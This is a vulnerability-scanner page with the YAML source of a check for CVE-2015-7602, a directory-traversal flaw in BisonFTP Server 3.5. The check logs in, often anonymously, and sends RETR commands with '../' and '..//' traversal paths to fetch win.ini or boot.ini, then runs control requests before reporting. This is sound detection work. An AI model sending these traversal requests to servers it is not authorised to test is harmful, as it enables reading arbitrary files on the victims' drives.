BisonFTP — 1 vulnerability check

noctis ships 1 vulnerability check for BisonFTP, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

BisonWare BisonFTP Server Directory Traversal

CVECVE-2015-7602
Severityhigh · CVSS 7.8
Categoryfile-read — File read
Servicesftp
Detectionset_var, tcp_open, sleep, tcp_send, script, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/bisonftp/CVE-2015-7602.yaml

Detects the directory traversal in BisonWare BisonFTP Server 3.5, which does not strip "../" from the file name of a RETR command. The test reads the FTP greeting and runs only when it names BisonWare BisonFTP. It logs in with the scan credentials when supplied, and anonymously when there are none or they are refused, then opens a passive data connection and requests RETR ../../../windows/win.ini, then the deeper form ..//..//..//..//..//..//..//..//windows/win.ini, and the same two forms for winnt/win.ini and boot.ini. It is confirmed when the transferred file carries the signature of the Windows system file ("[fonts]" / "; for 16-bit app support", or "[boot loader]"), a second request for a random absent file next to it is refused without returning that signature, and the same file requested without "../" is refused too, which shows that the traversal is what escapes the FTP home directory (when these two requests cannot run, the result is reported with lower confidence). The flaw gives any FTP user, anonymous included, read access to every file of the drive. The vendor never released a fixed version. The test only reads public Windows configuration files.

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Sends … on the open socket
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Sends USER {{cred_username}} on the open socket
  6. Sends PASS {{cred_password}} on the open socket
  7. Sends … on the open socket
  8. Parses / computes the next value with a Rhai script
  9. Opens a persistent TCP/TLS socket
  10. Sends USER anonymous on the open socket
  11. Sends PASS noctis@example.com on the open socket
  12. Sends … on the open socket
  13. Parses / computes the next value with a Rhai script
  14. Sends PASV on the open socket
  15. … and 27 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/bisonftp/CVE-2015-7602.yaml
# BisonWare BisonFTP Server 3.5 — directory traversal in RETR — CVE-2015-7602
# (Jay Turla, EDB-38341, September 2015).
#
# BisonFTP does not strip "../" from the file name of a RETR command, so a
# logged-in user — anonymous included — downloads any file of the drive. The
# vendor never shipped a fix (the product is abandoned).
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_bisonware_bisonftp_server_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805753, GPL-2.0-only): needs a BisonFTP product
# detection, FTP login (scan credentials, default anonymous), PASV, then for
# each Windows traversal file "RETR ../../../<file>" and report when the data
# connection returns the file's signature.
#
# Deviations from the NVT (stronger detection, stated in the PR):
#   * The Metasploit module's form ("..//" repeated, here 8 times) is tried
#     after the NVT's three "../" for each file: it reaches the drive root
#     from a deeper home directory, which three levels miss.
#   * Scan credentials that are refused (they are request-wide and often meant
#     for another service) fall back to an anonymous login on a fresh
#     connection instead of ending the check.
#   * Product gate as in the NVT's detection: the greeting must name
#     BisonWare / BisonFTP (nmap: "220-This site is running the BisonWare
#     BisonFTP server product V3.5"), so the CVE is not pinned on another FTP
#     server that happens to allow "../". A late greeting is re-read.
#   * Absent-file control: after a hit, the same RETR of a random absent file
#     named after the probed one must be refused (550/553/450) and return no
#     file signature, so a blanket responder gives no finding.
#   * Baseline control: the same file named relative to the home directory
#     (no "../") must be refused — otherwise the home directory is the drive
#     root, where a server that clamps "../" serves the file too.
#     When these two controls cannot both run, the read is reported at QoD 70
#     instead of 75.
#   * The PASV address is ignored: the data connection goes to the scanned
#     host (the NVT does the same), so a NATed server still works.
#   * A late PASV / RETR reply is re-read instead of shifting the dialogue.
#
# Read-only: after login only PASV, RETR and QUIT are sent, and only the
# public win.ini / boot.ini files are read.
uid: 3882eb62-9f71-410a-bbe4-448bd0c9729c
name: "BisonWare BisonFTP Server Directory Traversal (CVE-2015-7602)"
description: |
  Detects the directory traversal in BisonWare BisonFTP Server 3.5, which
  does not strip "../" from the file name of a RETR command. The test reads
  the FTP greeting and runs only when it names BisonWare BisonFTP. It logs in
  with the scan credentials when supplied, and anonymously when there are
  none or they are refused, then opens a
  passive data connection and requests RETR ../../../windows/win.ini, then
  the deeper form ..//..//..//..//..//..//..//..//windows/win.ini, and the
  same two forms for winnt/win.ini and boot.ini. It is confirmed when the
  transferred file carries the signature of the Windows system file
  ("[fonts]" / "; for 16-bit app support", or "[boot loader]"), a second
  request for a random absent file next to it is refused without returning
  that signature, and the same file requested without "../" is refused too,
  which shows that the traversal is what escapes the FTP home directory
  (when these two requests cannot run, the result is reported with lower
  confidence). The flaw gives any FTP user, anonymous included, read access
  to every file of the drive. The vendor never released a fixed version. The
  test only reads public Windows configuration files.
cves: [CVE-2015-7602]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [bisonftp, bisonware, ftp, path-traversal, file-read, windows]
services: [ftp]
author: noctis
version: "1.0.1"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7602"
  - "https://www.exploit-db.com/exploits/38341"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb"

steps:
  # Pre-init everything the scripts and conditions read before the loop: a
  # failed step stores nothing, and an undefined variable aborts the test.
  - id: init-ftpo
    action: set_var
    var_name: ftpo
    var_value: {banner: "", connected: false}
  - id: init-greet-late
    action: set_var
    var_name: greet_late
    var_value: {response: ""}
  - id: init-cpass
    action: set_var
    var_name: cpass
    var_value: {response: ""}
  - id: init-cpass-late
    action: set_var
    var_name: cpass_late
    var_value: {response: ""}
  - id: init-apass
    action: set_var
    var_name: apass
    var_value: {response: ""}
  - id: init-apass-late
    action: set_var
    var_name: apass_late
    var_value: {response: ""}

  # ── 1. Greeting: BisonFTP only ───────────────────────────────────────────
  - id: open
    action: tcp_open
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo

  # A greeting without its final "220 " line yet is read again.
  - id: greet-wait
    action: sleep
    condition: 'ftpo.connected == true && (type_of(ftpo.banner) != "string" || !ereg("(^|\\n)[0-9][0-9][0-9] ", ftpo.banner))'
    duration_ms: 3000

  - id: greet-late
    action: tcp_send
    condition: 'ftpo.connected == true && (type_of(ftpo.banner) != "string" || !ereg("(^|\\n)[0-9][0-9][0-9] ", ftpo.banner))'
    handle: ftp
    send: ""
    store_as: greet_late

  - id: product
    action: script
    code: |
      let g = "";
      if type_of(ftpo.banner) == "string" { g += ftpo.banner; }
      if type_of(greet_late.response) == "string" { g += "\n" + greet_late.response; }
      ereg("(?i)BisonWare|BisonFTP", g) && ereg("(^|\n)220[ -]", g)
    store_as: is_bison

  # ── 2. Login: scan credentials when supplied, else anonymous ─────────────
  - id: pick-login
    action: script
    code: |
      is_bison && cred_enabled && is_def_var("cred_username") && is_def_var("cred_password")
    store_as: use_cred

  - id: cred-user
    action: tcp_send
    condition: "use_cred == true"
    handle: ftp
    send: "USER {{cred_username}}\r\n"
    store_as: cuser

  - id: cred-pass
    action: tcp_send
    condition: "use_cred == true"
    handle: ftp
    send: "PASS {{cred_password}}\r\n"
    store_as: cpass

  - id: cred-pass-wait
    action: sleep
    condition: 'use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    duration_ms: 3000

  - id: cred-pass-late
    action: tcp_send
    condition: 'use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    handle: ftp
    send: ""
    store_as: cpass_late

  - id: cred-state
    action: script
    code: |
      let r = "";
      if type_of(cpass.response) == "string" { r += cpass.response; }
      if type_of(cpass_late.response) == "string" { r += "\n" + cpass_late.response; }
      use_cred && ereg("(^|\n)230[ -]", r)
    store_as: cred_ok

  # Credentials refused: anonymous login on a fresh connection.
  - id: reopen-close
    action: tcp_close
    condition: "cred_ok == false && use_cred == true"
    handle: ftp

  - id: reopen
    action: tcp_open
    condition: "cred_ok == false && use_cred == true"
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo2

  - id: anon-user
    action: tcp_send
    condition: "cred_ok == false && is_bison == true"
    handle: ftp
    send: "USER anonymous\r\n"
    store_as: auser

  - id: anon-pass
    action: tcp_send
    condition: "cred_ok == false && is_bison == true"
    handle: ftp
    send: "PASS noctis@example.com\r\n"
    store_as: apass

  - id: anon-pass-wait
    action: sleep
    condition: 'cred_ok == false && is_bison == true && (type_of(apass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", apass.response))'
    duration_ms: 3000

  - id: anon-pass-late
    action: tcp_send
    condition: 'cred_ok == false && is_bison == true && (type_of(apass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", apass.response))'
    handle: ftp
    send: ""
    store_as: apass_late

  - id: logged-in
    action: script
    code: |
      let r = "";
      if type_of(apass.response) == "string" { r += apass.response; }
      if type_of(apass_late.response) == "string" { r += "\n" + apass_late.response; }
      cred_ok || (is_bison && ereg("(^|\n)230[ -]", r))
    store_as: logged_in

  # ── 3. One passive RETR per traversal file (loop group) ──────────────────
  # The loop step and the set_var steps after it reset every per-iteration
  # result, so nothing from the previous file is read again.
  - id: reset-proof
    action: set_var
    loop:
      var: probe
      over:
        - {path: '../../../windows/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'windows/win.ini'}
        - {path: '..//..//..//..//..//..//..//..//windows/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'windows/win.ini'}
        - {path: '../../../winnt/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'winnt/win.ini'}
        - {path: '..//..//..//..//..//..//..//..//winnt/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'winnt/win.ini'}
        - {path: '../../../boot.ini', pat: '(?m)^(\[boot loader\])\r?$', file: 'boot.ini'}
        - {path: '..//..//..//..//..//..//..//..//boot.ini', pat: '(?m)^(\[boot loader\])\r?$', file: 'boot.ini'}
    var_name: proof
    var_value: ""
  - id: reset-ctl-state
    action: set_var
    var_name: ctl_state
    var_value: "none"
  - id: reset-dport
    action: set_var
    var_name: dport
    var_value: 0
  - id: reset-cport
    action: set_var
    var_name: cport
    var_value: 0
  - id: reset-pasv
    action: set_var
    var_name: pasv
    var_value: {response: ""}
  - id: reset-pasv-late
    action: set_var
    var_name: pasv_late
    var_value: {response: ""}
  - id: reset-retr
    action: set_var
    var_name: retr
    var_value: {response: ""}
  - id: reset-retr-late
    action: set_var
    var_name: retr_late
    var_value: {response: ""}
  - id: reset-dat
    action: set_var
    var_name: dat
    var_value: {response: ""}
  - id: reset-dat-late
    action: set_var
    var_name: dat_late
    var_value: {response: ""}
  - id: reset-cpasv
    action: set_var
    var_name: cpasv
    var_value: {response: ""}
  - id: reset-cpasv-late
    action: set_var
    var_name: cpasv_late
    var_value: {response: ""}
  - id: reset-bpasv
    action: set_var
    var_name: bpasv
    var_value: {response: ""}
  - id: reset-bpasv-late
    action: set_var
    var_name: bpasv_late
    var_value: {response: ""}
  - id: reset-bretr
    action: set_var
    var_name: bretr
    var_value: {response: ""}
  - id: reset-bretr-late
    action: set_var
    var_name: bretr_late
    var_value: {response: ""}
  - id: reset-bdat
    action: set_var
    var_name: bdat
    var_value: {response: ""}
  - id: reset-bdat-late
    action: set_var
    var_name: bdat_late
    var_value: {response: ""}
  - id: reset-bport
    action: set_var
    var_name: bport
    var_value: 0
  - id: reset-cretr
    action: set_var
    var_name: cretr
    var_value: {response: ""}
  - id: reset-cretr-late
    action: set_var
    var_name: cretr_late
    var_value: {response: ""}
  - id: reset-cdat
    action: set_var
    var_name: cdat
    var_value: {response: ""}

  - id: pasv
    action: tcp_send
    condition: "logged_in == true"
    handle: ftp
    send: "PASV\r\n"
    store_as: pasv

  - id: pasv-wait
    action: sleep
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    duration_ms: 3000

  - id: pasv-late
    action: tcp_send
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    handle: ftp
    send: ""
    store_as: pasv_late

  - id: pasv-port
    action: script
    condition: "logged_in == true"
    code: |
      let t = "";
      if type_of(pasv.response) == "string" { t += pasv.response; }
      if type_of(pasv_late.response) == "string" { t += "\n" + pasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: dport

  - id: data-open
    action: tcp_open
    condition: "dport > 0"
    handle: data
    port: "{{dport}}"
    timeout_secs: 10
    store_as: dopen

  - id: retr
    action: tcp_send
    condition: "dport > 0"
    handle: ftp
    send: "RETR {{probe.path}}\r\n"
    store_as: retr

  # Empty send = read what the server wrote on the data connection.
  - id: data-read
    action: tcp_send
    condition: "dport > 0"
    handle: data
    send: ""
    store_as: dat

  # Consume the RETR's final 226 (or error) so it is not read as the next
  # PASV reply; a slow transfer is read again on the data connection.
  - id: retr-wait
    action: sleep
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    duration_ms: 3000

  - id: data-read-late
    action: tcp_send
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    handle: data
    send: ""
    store_as: dat_late

  - id: retr-late
    action: tcp_send
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    handle: ftp
    send: ""
    store_as: retr_late

  - id: data-close
    action: tcp_close
    handle: data

  # The signature line of the probed system file, or "" (the raw file never
  # becomes evidence). A RETR refused with 4xx/5xx is no proof.
  - id: proof
    action: script
    condition: "dport > 0"
    code: |
      let r = "";
      if type_of(retr.response) == "string" { r += retr.response; }
      if type_of(retr_late.response) == "string" { r += "\n" + retr_late.response; }
      let d = "";
      if type_of(dat.response) == "string" { d += dat.response; }
      if type_of(dat_late.response) == "string" { d += dat_late.response; }
      let m = eregmatch(probe.pat, d);
      if m.len() > 1 && !ereg("(^|\n)[45][0-9][0-9][ -]", r) { m[1] } else { "" }
    store_as: proof

  # ── 4. Control: an absent file next to the probed one must be refused ────
  - id: ctl-pasv
    action: tcp_send
    condition: 'proof != ""'
    handle: ftp
    send: "PASV\r\n"
    store_as: cpasv

  - id: ctl-pasv-wait
    action: sleep
    condition: 'proof != "" && (type_of(cpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", cpasv.response))'
    duration_ms: 3000

  - id: ctl-pasv-late
    action: tcp_send
    condition: 'proof != "" && (type_of(cpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", cpasv.response))'
    handle: ftp
    send: ""
    store_as: cpasv_late

  - id: ctl-pasv-port
    action: script
    condition: 'proof != ""'
    code: |
      let t = "";
      if type_of(cpasv.response) == "string" { t += cpasv.response; }
      if type_of(cpasv_late.response) == "string" { t += "\n" + cpasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: cport

  - id: ctl-data-open
    action: tcp_open
    condition: 'proof != "" && cport > 0'
    handle: cdata
    port: "{{cport}}"
    timeout_secs: 10
    store_as: copen

  - id: ctl-retr
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: ftp
    send: "RETR {{probe.path}}.noctis-absent-{{oob_token}}\r\n"
    store_as: cretr

  - id: ctl-data-read
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: cdata
    send: ""
    store_as: cdat

  - id: ctl-wait
    action: sleep
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", cretr.response))'
    duration_ms: 3000

  - id: ctl-retr-late
    action: tcp_send
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", cretr.response))'
    handle: ftp
    send: ""
    store_as: cretr_late

  - id: ctl-data-close
    action: tcp_close
    handle: cdata

  # Baseline: the same file named relative to the FTP home directory, with no
  # "../". If it is served too, the home directory is the drive root and a
  # server that clamps "../" at the root would serve the traversal path as
  # well: the traversal proves nothing, so no finding.
  - id: base-pasv
    action: tcp_send
    condition: 'proof != ""'
    handle: ftp
    send: "PASV\r\n"
    store_as: bpasv

  - id: base-pasv-wait
    action: sleep
    condition: 'proof != "" && (type_of(bpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", bpasv.response))'
    duration_ms: 3000

  - id: base-pasv-late
    action: tcp_send
    condition: 'proof != "" && (type_of(bpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", bpasv.response))'
    handle: ftp
    send: ""
    store_as: bpasv_late

  - id: base-pasv-port
    action: script
    condition: 'proof != ""'
    code: |
      let t = "";
      if type_of(bpasv.response) == "string" { t += bpasv.response; }
      if type_of(bpasv_late.response) == "string" { t += "\n" + bpasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: bport

  - id: base-data-open
    action: tcp_open
    condition: 'proof != "" && bport > 0'
    handle: bdata
    port: "{{bport}}"
    timeout_secs: 10
    store_as: bopen

  - id: base-retr
    action: tcp_send
    condition: 'proof != "" && bport > 0'
    handle: ftp
    send: "RETR {{probe.file}}\r\n"
    store_as: bretr

  - id: base-data-read
    action: tcp_send
    condition: 'proof != "" && bport > 0'
    handle: bdata
    send: ""
    store_as: bdat

  - id: base-wait
    action: sleep
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    duration_ms: 3000

  - id: base-data-read-late
    action: tcp_send
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    handle: bdata
    send: ""
    store_as: bdat_late

  - id: base-retr-late
    action: tcp_send
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    handle: ftp
    send: ""
    store_as: bretr_late

  - id: base-data-close
    action: tcp_close
    handle: bdata

  - id: ctl-state
    action: script
    condition: 'proof != ""'
    code: |
      let r = "";
      if type_of(cretr.response) == "string" { r += cretr.response; }
      if type_of(cretr_late.response) == "string" { r += "\n" + cretr_late.response; }
      let d = "";
      if type_of(cdat.response) == "string" { d = cdat.response; }
      let b = "";
      if type_of(bdat.response) == "string" { b += bdat.response; }
      if type_of(bdat_late.response) == "string" { b += bdat_late.response; }
      let br = "";
      if type_of(bretr.response) == "string" { br += bretr.response; }
      if type_of(bretr_late.response) == "string" { br += "\n" + bretr_late.response; }
      // A 1xx preliminary reply means a served file only when no refusal
      // follows it (some servers send 150 before a 550 for a missing file).
      let refused = ereg("(^|\n)(550|553|450)[ -]", r);
      let brefused = ereg("(^|\n)(550|553|450)[ -]", br);
      if ereg(probe.pat, d) || ereg(probe.pat, b) || (ereg("(^|\n)1[0-9][0-9][ -]", r) && !refused) || (ereg("(^|\n)1[0-9][0-9][ -]", br) && !brefused) { "blanket" }
      else if refused && brefused { "clean" }
      else { "none" }
    store_as: ctl_state

  # ── 5. Report (stop: true ends the test on the first confirmed file) ─────
  - id: report
    action: match
    source: ctl_state
    pattern: "^clean$"
    condition: 'proof != ""'
    on_match:
      finding:
        title: "BisonWare BisonFTP Server Directory Traversal (CVE-2015-7602)"
        description: "After an FTP login, RETR {{probe.path}} returned the Windows system file {{probe.file}} on the data connection, while a random absent file at the same place was refused and the same file named without \"../\" was refused too: the traversal escapes the FTP home directory."
        remediation: "No fixed BisonFTP release exists: replace BisonFTP with a maintained FTP server. Until then, disable anonymous access and restrict the FTP service to trusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "RETR {{probe.path}} returned {{probe.file}} (signature line: {{proof}}); the absent-file control was refused and the file was not reachable without ../"
      stop: true

  - id: report-uncontrolled
    action: match
    source: ctl_state
    pattern: "^none$"
    condition: 'proof != ""'
    on_match:
      finding:
        title: "BisonWare BisonFTP Server Directory Traversal (CVE-2015-7602)"
        description: "After an FTP login, RETR {{probe.path}} returned the Windows system file {{probe.file}} on the data connection. The absent-file and no-traversal controls could not both run, so the result is reported with lower confidence."
        remediation: "No fixed BisonFTP release exists: replace BisonFTP with a maintained FTP server. Until then, disable anonymous access and restrict the FTP service to trusted networks."
        confidence_delta: 0.40
        qod: 70
        evidence: "RETR {{probe.path}} returned {{probe.file}} (signature line: {{proof}}); the controls could not both run"
      stop: true

  # A one-pass loop ends the group above, so QUIT runs once after the last
  # file when nothing was found (a finding stops the test; the socket is
  # dropped with it).
  - id: quit
    action: tcp_send
    loop:
      var: done
      count: 1
    condition: "logged_in == true"
    handle: ftp
    send: "QUIT\r\n"
    store_as: quit

  - id: close
    action: tcp_close
    handle: ftp

View these feeds on GitHub